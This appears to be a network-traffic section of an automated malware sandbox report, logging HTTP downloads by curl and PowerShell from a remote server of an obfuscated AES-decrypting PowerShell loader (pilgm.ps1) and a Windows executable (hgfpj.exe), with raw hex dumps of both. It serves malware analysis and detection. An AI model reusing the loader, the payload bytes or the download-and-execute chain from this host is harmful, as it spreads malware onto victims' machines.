6	192.168.2.4	49740	147.45.44.131	80	6656	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:07.399923086 CET	195	OUT	GET /infopage/pilgm.ps1 HTTP/1.1 Host: 147.45.44.131 User-Agent: curl/7.83.1 Accept: / X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq
Dec 27, 2024 22:33:08.709621906 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 00:09:39 GMT ETag: "638-62a0d0bb75721" Accept-Ranges: bytes Content-Length: 1592 Data Raw: 0d 0a 24 59 6d 62 41 20 3d 20 27 7a 7a 66 62 64 65 36 33 48 59 4b 6c 61 4e 30 54 6f 6c 6f 6d 78 48 70 64 67 51 73 45 46 50 53 73 4b 49 51 4e 6e 2b 5a 54 45 69 77 3d 27 0d 0a 24 53 47 62 35 20 3d 20 27 63 6f 33 44 38 75 64 37 53 47 30 50 6b 4a 6c 6b 62 57 42 46 78 51 3d 3d 27 0d 0a 24 32 66 4a 70 20 3d 20 27 6f 30 58 57 35 5a 37 2b 2f 55 6b 41 54 42 58 38 73 54 79 4e 4f 39 4c 4c 63 41 4a 47 73 6f 67 34 5a 2b 34 37 6e 70 35 69 47 35 6d 79 65 42 51 4b 47 61 37 4f 69 53 47 61 73 70 36 4e 69 7a 45 54 42 58 48 6e 6b 49 6c 63 2f 4a 33 38 61 50 4c 6f 6e 50 2f 70 47 66 33 48 71 36 36 2b 32 62 76 2f 63 66 70 73 68 68 63 58 38 48 6d 70 70 65 7a 46 46 6e 6e 4f 77 6c 73 42 4c 44 41 63 4c 49 4a 79 79 73 46 52 6a 71 61 39 63 74 65 72 51 32 74 4d 48 4a 45 45 76 2b 62 43 6d 2b 79 73 35 52 4c 64 6a 44 57 49 6e 59 36 75 75 46 56 69 68 5a 4c 71 6b 64 63 33 49 64 39 6a 63 4e 4d 73 4c 71 47 48 54 38 63 6b 6e 50 43 69 37 77 6b 72 55 52 2f 6d 6a 43 30 47 67 6b 30 6c 77 79 34 62 78 64 52 41 63 77 43 62 6d 6d 4a 30 65 70 33 [TRUNCATED] Data Ascii: $YmbA = 'zzfbde63HYKlaN0TolomxHpdgQsEFPSsKIQNn+ZTEiw='$SGb5 = 'co3D8ud7SG0PkJlkbWBFxQ=='$2fJp = 'o0XW5Z7+/UkATBX8sTyNO9LLcAJGsog4Z+47np5iG5myeBQKGa7OiSGasp6NizETBXHnkIlc/J38aPLonP/pGf3Hq66+2bv/cfpshhcX8HmppezFFnnOwlsBLDAcLIJyysFRjqa9cterQ2tMHJEEv+bCm+ys5RLdjDWInY6uuFVihZLqkdc3Id9jcNMsLqGHT8cknPCi7wkrUR/mjC0Ggk0lwy4bxdRAcwCbmmJ0ep3LQVIQyOptXO9gXE/dzsGuIpdxDQbaXwzcIAqgpqnenHUOMv3cilCoyUdaaSRewmex+DM1QoA6PmkZZLEQrkrDpW3vem/bKOFvrgnuR2C8IyGBHEvmsCJqTCkf2jq3NfmjDqnsS5QLZCuazft30vziIumSGfvrYyWAd5OJP1YXQde59s21K1WY0NQn6n0+rnGUJT64wF5ylX8Kxv1keWC/rV4Ugf7fTpfRwKPgLwf/Z650DCiv+jkc2YubbaE+XIjFQ9NBBNOKgmhnmhOLce3sSiDJmXlZU++MmxIY0wwzd1P8M3InRE4NQqu90QnBj0JmLlbt3MJVBsDMEPfn8GLUcE6Cskc1o7ASk9TIsPmmKpBnEyWcUxQYPlt4syzxOD3AkEcuXcbzzT52K7HZbSLz'function etCc ($azvH, $YmbA, $SGb5) { $NWby = [Convert]::FromBase64String($YmbA) $zlhV = [Convert]::FromBase64String($SGb5) $aWSD = [Convert]::FromBase64String($azvH) $GyiY = [System.Security.Cryptography.Aes]::Create() $GyiY.Key = $NWby [TRUNCATED]
Dec 27, 2024 22:33:08.709646940 CET	561	IN	Data Raw: 56 0d 0a 20 20 20 20 24 47 79 69 59 2e 50 61 64 64 69 6e 67 20 3d 20 5b 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 2e 43 72 79 70 74 6f 67 72 61 70 68 79 2e 50 61 64 64 69 6e 67 4d 6f 64 65 5d 3a 3a 50 4b 43 53 37 0d 0a 20 20 20 20 24 4b 52 32 Data Ascii: V $GyiY.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $KR29 = $GyiY.CreateDecryptor($GyiY.Key, $GyiY.IV) $aHGE = New-Object System.IO.MemoryStream(, $aWSD) $dqtj = New-Object System.Security.Cryptography.Crypt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	147.45.44.131	80	7760	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:08.738042116 CET	157	OUT	GET /infopage/hgfpj.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Dec 27, 2024 22:33:10.082636118 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 16:22:08 GMT ETag: "4c000-62a1aa1957b5c" Accept-Ranges: bytes Content-Length: 311296 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 86 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bf 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 5c 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3d [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELYig@p@;0\;=.text `.rdata "@@.data8PT0@.reloc\;0<@B
Dec 27, 2024 22:33:10.082683086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b 44 24 04 85 c0 74 28 80 38 ef 75 13 80 78 01 bb 75 0d 80 78 02 bf 75 07 83 c0 03 89 44 24 04 8d 44 24 04 6a 00 50 e8 14 00 Data Ascii: D$t(8uxuxuD$D$jP1USWV \|$81t$4.]Spt%E.]SpEuMY1$T%DsD$P6lp\$
Dec 27, 2024 22:33:10.082699060 CET	248	IN	Data Raw: 14 50 e8 ad 6b 00 00 83 c4 04 39 c3 0f 85 7a 02 00 00 8b 1e 0f b6 2b 55 e8 47 6c 00 00 83 c4 04 85 c0 74 19 43 89 1e 0f b6 2b 55 e8 34 6c 00 00 83 c4 04 43 85 c0 75 ed 89 e8 4b eb 02 89 e8 3c 3a 0f 85 45 02 00 00 43 89 1e ff 74 24 08 56 e8 40 fb Data Ascii: Pk9z+UGltC+U4lCuK<:ECt$V@-PWt$6.]SktE.]SkEuM,)E.]SkEu}}D$T$
Dec 27, 2024 22:33:10.082793951 CET	1236	IN	Data Raw: 01 00 00 56 ff 15 00 50 44 00 83 c4 04 e9 39 01 00 00 51 e8 b4 09 00 00 83 c4 04 e9 2b 01 00 00 51 e9 a6 01 00 00 84 db 0f 84 27 01 00 00 89 7c 24 08 ff 74 24 08 56 e8 60 fa ff ff 83 c4 08 85 c0 0f 84 56 01 00 00 89 c7 8b 2c 24 8b 5d 0c 39 5d 08 Data Ascii: VPD9Q+Q'\|$t$V`V,$]9]rzsRPD_$JD$tjtUQP.iM1QPDD$E]EEM<E.}Wjt#E
Dec 27, 2024 22:33:10.082806110 CET	1236	IN	Data Raw: cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 10 31 ff 83 7c 24 24 00 0f 84 c0 00 00 00 8b 74 24 28 85 f6 0f 84 b4 00 00 00 56 e8 ba 65 00 00 83 c4 04 89 44 24 04 50 56 e8 bc 07 00 00 8b 4c 24 2c 83 c4 08 89 c2 8b 71 20 8d 6e ff 89 f0 83 e8 01 89 44 Data Ascii: USWV1\|$$t$(VeD$PVL$,q nD$!AD$$ENtn#D$\|$t\A9uA<WVeT$L$(;D$ut$Wt$0WeT$L$0uAtxux1^_[]L$1t
Dec 27, 2024 22:33:10.082817078 CET	1236	IN	Data Raw: 24 08 39 51 08 76 13 8b 49 04 8b 0c 91 85 c9 74 09 83 79 04 04 75 03 8b 41 08 c3 cc cc cc cc cc cc cc cc cc 57 56 8b 44 24 0c 85 c0 0f 84 11 01 00 00 8b 48 04 83 f9 02 0f 84 f9 00 00 00 83 f9 05 0f 84 b6 00 00 00 83 f9 04 0f 85 f3 00 00 00 8b 70 Data Ascii: $9QvItyuAWVD$Hp~t.1F4PDF4G;~rFFF vPDvPDvPDvPDvPDFFFF
Dec 27, 2024 22:33:10.082829952 CET	1236	IN	Data Raw: 00 50 44 00 83 c4 04 ff 34 24 ff 15 00 50 44 00 83 c4 04 56 ff 15 00 50 44 00 83 c4 04 b8 ff ff ff ff 83 c4 34 5e 5f 5b 5d c3 31 f6 89 74 24 08 83 7f 18 00 74 31 31 db 90 90 90 90 90 90 90 90 8b 47 0c 8b 4f 10 8b 2c 99 55 ff 34 98 8d 44 24 10 50 Data Ascii: PD4$PDVPD4^_[]1t$t11GO,U4D$P)uluC;_rGGG wPDwPDwPDwPDwPDt$1XD$ D$$D$(t$PDt$
Dec 27, 2024 22:33:10.082984924 CET	1236	IN	Data Raw: 03 83 c0 c9 83 f9 ff 74 26 83 fa ff 74 21 83 fd ff 74 1c 83 f8 ff 74 17 8b 74 24 18 c1 e1 0c c1 e2 08 09 ca c1 e5 04 09 c5 09 d5 89 2e 31 ff 89 f8 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 53 57 56 be ff ff ff ff 85 d2 74 66 89 d7 89 cb 89 d0 83 e0 fb Data Ascii: t&t!ttt$.1^_[]USWVtfRPDt<C1tKtQPUUKQPDk{^_[]USWVl$(st$,L$$Vn^i
Dec 27, 2024 22:33:10.083004951 CET	1236	IN	Data Raw: 75 0f 83 be 88 00 00 00 00 75 06 83 7e 5c 00 74 11 56 e8 51 00 00 00 83 c4 04 89 46 6c e9 f8 fe ff ff 53 56 e8 cf 0a 00 00 83 c4 08 85 c0 78 27 89 6e 60 83 fb 03 75 d9 8d 86 72 92 01 00 c7 46 24 00 00 00 00 68 00 00 02 00 6a 00 50 e8 b6 51 00 00 Data Ascii: uu~\tVQFlSVx'n`urF$hjPQFlWVt$Fxt+NpF\|tC8)NXV\9rFtrWQPQ~X)~\F\|8~`t1~\1^_USWV@l$T
Dec 27, 2024 22:33:10.083018064 CET	1236	IN	Data Raw: c0 90 90 90 38 0c 02 75 07 40 39 c6 75 f6 89 f0 31 d2 83 f8 03 0f 93 c1 73 02 31 c0 88 ca 89 54 24 08 e9 fd 01 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 c7 44 24 08 00 00 00 00 39 d8 0f 83 e0 01 00 00 31 c9 83 f8 20 0f 93 c1 8b 54 24 54 8b 74 Data Ascii: 8u@9u1s1T$D$91 T$TtN\$L$(L$8\$L$ D$\|$)L$,L$,AL$,\|$jL$TYrVL$)9;t$TT$ 8
Dec 27, 2024 22:33:10.202714920 CET	1236	IN	Data Raw: 72 05 b8 00 80 00 00 89 45 24 8b 45 28 3b 44 24 3c 0f 87 79 f7 ff ff 8b 4d 3c 81 f9 01 7c 00 00 0f 82 91 f7 ff ff 2b 44 24 34 6b c0 73 c1 e8 07 39 c8 0f 83 58 f7 ff ff f6 45 0a 08 0f 84 75 f7 ff ff e9 49 f7 ff ff f7 44 24 24 00 00 01 00 0f 85 d0 Data Ascii: rE$E(;D$<yM<\|+D$4ks9XEuID$$==MT]LEPsE8U(ru(U,j)DT$fM+DfM-E8U(ru(U,j)D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49742	147.45.44.131	80	7824	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:08.738132954 CET	157	OUT	GET /infopage/hgfpj.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131
Dec 27, 2024 22:33:10.040410995 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 16:22:08 GMT ETag: "4c000-62a1aa1957b5c" Accept-Ranges: bytes Content-Length: 311296 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 86 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bf 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 5c 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3d [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELYig@p@;0\;=.text `.rdata "@@.data8PT0@.reloc\;0<@B
Dec 27, 2024 22:33:10.040431976 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b 44 24 04 85 c0 74 28 80 38 ef 75 13 80 78 01 bb 75 0d 80 78 02 bf 75 07 83 c0 03 89 44 24 04 8d 44 24 04 6a 00 50 e8 14 00 Data Ascii: D$t(8uxuxuD$D$jP1USWV \|$81t$4.]Spt%E.]SpEuMY1$T%DsD$P6lp\$
Dec 27, 2024 22:33:10.040441036 CET	1236	IN	Data Raw: 14 50 e8 ad 6b 00 00 83 c4 04 39 c3 0f 85 7a 02 00 00 8b 1e 0f b6 2b 55 e8 47 6c 00 00 83 c4 04 85 c0 74 19 43 89 1e 0f b6 2b 55 e8 34 6c 00 00 83 c4 04 43 85 c0 75 ed 89 e8 4b eb 02 89 e8 3c 3a 0f 85 45 02 00 00 43 89 1e ff 74 24 08 56 e8 40 fb Data Ascii: Pk9z+UGltC+U4lCuK<:ECt$V@-PWt$6.]SktE.]SkEuM,)E.]SkEu}}D$T$
Dec 27, 2024 22:33:10.040566921 CET	1236	IN	Data Raw: 2c 00 74 36 8b 74 24 30 85 f6 74 2e 56 e8 ce 66 00 00 83 c4 04 89 44 24 04 50 56 e8 d0 08 00 00 8b 4c 24 34 83 c4 08 89 c2 8b 69 20 8d 5d ff 89 e8 83 e8 01 89 44 24 0c 73 0c dd 44 24 10 83 c4 18 5e 5f 5b 5d c3 21 d3 8b 41 04 89 44 24 08 89 14 24 Data Ascii: ,t6t$0t.VfD$PVL$4i ]D$sD$^_[]!AD$$CMt#D$t$<tA9uA4VVfT$L$0;D$ut$Vt$8WfT$L$8uAtxj@\$^L$1tyuA
Dec 27, 2024 22:33:10.040576935 CET	1236	IN	Data Raw: 04 50 56 e8 14 04 00 00 8b 4c 24 2c 83 c4 08 89 c2 8b 59 20 8d 6b ff 89 d8 83 e8 01 89 44 24 0c 73 0a 31 c0 83 c4 10 5e 5f 5b 5d c3 21 d5 8b 41 04 89 44 24 08 89 14 24 eb 06 90 90 45 4b 74 e2 89 e8 23 44 24 0c 8b 74 24 08 8b 3c 86 83 ff ff 74 d0 Data Ascii: PVL$,Y kD$s1^_[]!AD$$EKt#D$t$<tA9uA4VaT$L$(;D$ut$Vt$0aT$L$0uAt1T$,9QpL$1tT$9QvAD$t@1L$1
Dec 27, 2024 22:33:10.040656090 CET	1236	IN	Data Raw: c1 e1 02 51 ff 15 04 50 44 00 83 c4 04 89 c6 89 44 24 0c c1 e7 02 57 ff 15 04 50 44 00 83 c4 04 89 44 24 30 89 44 24 14 57 ff 15 04 50 44 00 83 c4 04 89 44 24 04 89 44 24 18 57 ff 15 04 50 44 00 83 c4 04 89 04 24 89 44 24 1c 57 8b 7c 24 34 ff 15 Data Ascii: QPDD$WPDD$0D$WPDD$D$WPD$D$W\|$4PDD$t{tw\|$tp<$tjtfFFFFFFF u\|$,tMutJ7HVPDWPD
Dec 27, 2024 22:33:10.040667057 CET	1236	IN	Data Raw: ff ff ff ff 85 c9 0f 84 1b 01 00 00 0f be 56 01 85 d2 0f 84 0f 01 00 00 0f be 46 02 85 c0 0f 84 03 01 00 00 0f be 76 03 85 f6 0f 84 f7 00 00 00 89 cb 80 c3 d0 80 fb 09 77 05 83 c1 d0 eb 23 89 cb 80 c3 9f 80 fb 05 77 05 83 c1 a9 eb 14 89 cb 80 c3 Data Ascii: VFvw#wrw#wrw#wrw#wr
Dec 27, 2024 22:33:10.040677071 CET	1236	IN	Data Raw: c7 01 00 00 00 00 c7 46 6c fe ff ff ff b8 fe ff ff ff 5e 5f 5b 5d c3 85 c0 74 09 85 ff 75 05 83 38 00 75 d2 85 c9 74 09 85 d2 75 05 83 39 00 75 c1 31 d2 8b 5c 24 28 83 fb 04 0f 94 c2 09 d5 89 6e 68 83 7e 5c 00 75 06 83 7e 60 00 74 69 85 c0 74 09 Data Ascii: Fl^_[]tu8utu9u1\$(nh~\u~`titN\|tC9)NXV\9rFtrWQP(R~X)~\F\|8~`t1~\_1[V!t"0#Ft)PWvFt
Dec 27, 2024 22:33:10.040688038 CET	1236	IN	Data Raw: 00 2b 6c 24 1c 39 cd 72 02 89 cd 8b 44 24 54 89 68 24 01 da 29 5c 24 0c 8b 5c 24 1c eb 55 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 de 01 da c7 44 24 0c 00 00 00 00 89 f3 eb 10 c7 44 24 0c 00 00 00 00 90 90 90 90 90 90 90 90 bd 00 80 00 00 29 Data Ascii: +l$9rD$Th$)\$\$UD$D$)9rD$Th$\|$0u~HPL$tD$L$Tqy\|$t$$T$}D$]L$$ML$Tt,D$H%D$
Dec 27, 2024 22:33:10.040704966 CET	1236	IN	Data Raw: 45 50 00 00 00 00 e9 df 00 00 00 85 db 0f 84 8b 00 00 00 83 7d 14 00 0f 84 22 01 00 00 01 45 3c 89 c1 80 c1 fd 8b 55 28 88 0a 89 d9 83 f1 01 81 e3 fe ff ff 3f 01 db 29 cb 8b 4d 28 88 59 01 89 d9 c1 e9 08 8b 55 28 88 4a 02 83 45 28 03 8b 55 2c 89 Data Ascii: EP}"E<U(?)M(YU(JE(U,M8j+D=MTL$MLM(U<=BU<QU(M,)M8uE8M(QU(M,fET$E)E E$
Dec 27, 2024 22:33:10.160582066 CET	1236	IN	Data Raw: 00 00 33 56 3c 89 56 3c 0f b7 d2 d3 e2 09 d0 89 46 48 83 c9 10 89 4e 44 eb 1b 90 90 90 90 90 90 90 90 90 90 c1 e8 08 89 46 48 83 c1 f8 89 4e 44 83 f9 07 76 18 8b 56 30 3b 56 34 73 e7 8d 4a 01 89 4e 30 88 02 8b 4e 44 8b 46 48 eb d7 81 76 3c ff ff Data Ascii: 3V<V<FHNDFHNDvV0;V4sJN0NDFHv<tg1B;V<sS~@>FHNDFHNDv~0;~4sON0NDFHL$FDuPFDFH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49743	147.45.44.131	80	7880	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 27, 2024 22:33:08.783274889 CET	181	OUT	GET /infopage/hgfpj.exe HTTP/1.1 X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq Host: 147.45.44.131 Connection: Keep-Alive
Dec 27, 2024 22:33:10.088680029 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:09 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 25 Dec 2024 16:22:08 GMT ETag: "4c000-62a1aa1957b5c" Accept-Ranges: bytes Content-Length: 311296 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 04 00 86 59 69 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 b2 00 00 00 00 00 00 00 86 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bf 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 05 00 5c 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 3d [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELYig@p@;0\;=.text `.rdata "@@.data8PT0@.reloc\;0<@B
Dec 27, 2024 22:33:10.088742971 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: D$t(8uxuxuD$D$jP1USWV \|$81t$4.]Spt%E
Dec 27, 2024 22:33:10.088752985 CET	1236	IN	Data Raw: 89 2e 0f b6 5d 00 53 e8 84 70 00 00 83 c4 04 45 85 c0 75 ec 4d 0f b6 c3 83 c0 de 83 f8 59 0f 87 e4 00 00 00 31 db ff 24 85 54 25 44 00 e8 8e 73 00 00 c7 00 00 00 00 00 8d 44 24 1c 50 ff 36 e8 6c 70 00 00 83 c4 08 dd 5c 24 08 e8 70 73 00 00 31 db Data Ascii: .]SpEuMY1$T%DsD$P6lp\$ps18"D$uP%DrDs8t:s8"\|$.<$)D$r1}0u}.ut jh;DU=oD$u}.urvD=jPh;D
Dec 27, 2024 22:33:10.088850021 CET	1236	IN	Data Raw: 00 45 90 90 90 90 90 90 90 90 90 90 89 2e 0f b6 5d 00 53 e8 a4 6b 00 00 83 c4 04 45 85 c0 75 ec 80 fb 7d 0f 84 00 02 00 00 80 7d ff 00 0f 84 00 02 00 00 c7 44 24 14 00 00 00 00 89 f1 8d 54 24 14 e8 a6 0f 00 00 85 c0 0f 85 05 ff ff ff e9 c5 01 00 Data Ascii: E.]SkEu}}D$T$VPD9Q+Q'\|$t$V`V,$]9]rzsRPD_$JD$tjt
Dec 27, 2024 22:33:10.088861942 CET	1236	IN	Data Raw: 00 8b 54 24 0c 8b 4c 24 38 83 c4 0c 85 c0 75 a8 8b 41 10 8b 04 b8 85 c0 0f 84 74 ff ff ff 83 78 04 03 0f 85 6a ff ff ff dd 40 08 dd 5c 24 10 e9 5e ff ff ff cc cc cc cc 8b 4c 24 04 31 c0 85 c9 74 09 83 79 04 04 75 03 8b 41 08 c3 cc cc cc cc cc cc Data Ascii: T$L$8uAtxj@\$^L$1tyuAUSWV1\|$$t$(VeD$PVL$,q nD$!AD$$ENtn#D$\|$t\A9uA<WVeT$L$(;D$u
Dec 27, 2024 22:33:10.088874102 CET	1236	IN	Data Raw: 2c 39 51 04 0f 94 c0 e9 70 ff ff ff cc cc cc cc cc cc cc cc 8b 4c 24 04 31 c0 85 c9 74 0f 8b 54 24 08 39 51 08 76 06 8b 41 04 8b 04 90 c3 cc cc cc cc cc cc 8b 44 24 04 85 c0 74 04 8b 40 08 c3 31 c0 c3 cc 8b 4c 24 04 31 c0 85 c9 74 1c 8b 54 24 08 Data Ascii: ,9QpL$1tT$9QvAD$t@1L$1tT$9QvItyuAWVD$Hp~t.1F4PDF4G;~rFFF vP
Dec 27, 2024 22:33:10.088887930 CET	1236	IN	Data Raw: c7 46 1c ff ff ff ff 83 c6 20 83 c3 f8 75 c1 85 ed 8b 7c 24 2c 74 15 90 90 90 90 90 90 90 90 90 c7 06 ff ff ff ff 83 c6 04 4d 75 f4 85 ff 74 4a 8b 37 eb 48 56 89 c6 ff 15 00 50 44 00 83 c4 04 57 ff 15 00 50 44 00 83 c4 04 ff 74 24 04 ff 15 00 50 Data Ascii: F u\|$,tMutJ7HVPDWPDt$PD4$PDVPD4^_[]1t$t11GO,U4D$P)uluC;_rGGG wPDwPDwPDw
Dec 27, 2024 22:33:10.089042902 CET	520	IN	Data Raw: 80 fb 05 77 05 83 c0 a9 eb 14 89 c3 80 c3 bf 80 fb 06 72 07 b8 ff ff ff ff eb 03 83 c0 c9 89 c5 89 f0 89 c3 80 c3 d0 80 fb 09 77 05 83 c0 d0 eb 23 89 c3 80 c3 9f 80 fb 05 77 05 83 c0 a9 eb 14 89 c3 80 c3 bf 80 fb 06 72 07 b8 ff ff ff ff eb 03 83 Data Ascii: wrw#wrt&t!ttt$.1^_[]USWVtfRPDt<C1tKtQPUUKQ
Dec 27, 2024 22:33:10.089055061 CET	1236	IN	Data Raw: 08 83 c0 0f 3b 04 24 8b 04 24 72 a8 01 d5 8b 74 24 04 89 da 29 c2 0f 83 45 ff ff ff 89 54 24 08 89 c6 83 e6 03 89 5c 24 0c 89 d8 89 ea 74 11 90 90 90 90 90 40 0f b6 1a 01 df 01 f9 42 4e 75 f4 83 7c 24 08 fc 0f 87 09 ff ff ff 8b 1c 24 29 c3 31 c0 Data Ascii: ;$$rt$)ET$\$t@BNu\|$$)14\|t\|9u^_[]SWVD$tWT$t$6t;8@134(D!!3
Dec 27, 2024 22:33:10.089113951 CET	1236	IN	Data Raw: 8b 4c 24 0c 89 cf 39 c1 72 02 89 c7 89 d0 85 d2 74 03 8d 04 3a 89 44 24 10 89 ee 8b 6d 1c 8d 04 2b 83 c0 fe 89 c1 81 e1 ff 7f 00 00 0f b6 8c 0e 90 00 00 00 8d 14 2b 4a 81 e2 ff 7f 00 00 0f b6 94 16 90 00 00 00 29 7c 24 0c 01 df 89 7e 20 8b 74 24 Data Ascii: L$9rt:D$m++J)\|$~ t$;t$\|$1t$TT$G1Nrf~rBfNrE@;T$t'.w.\$T$L$
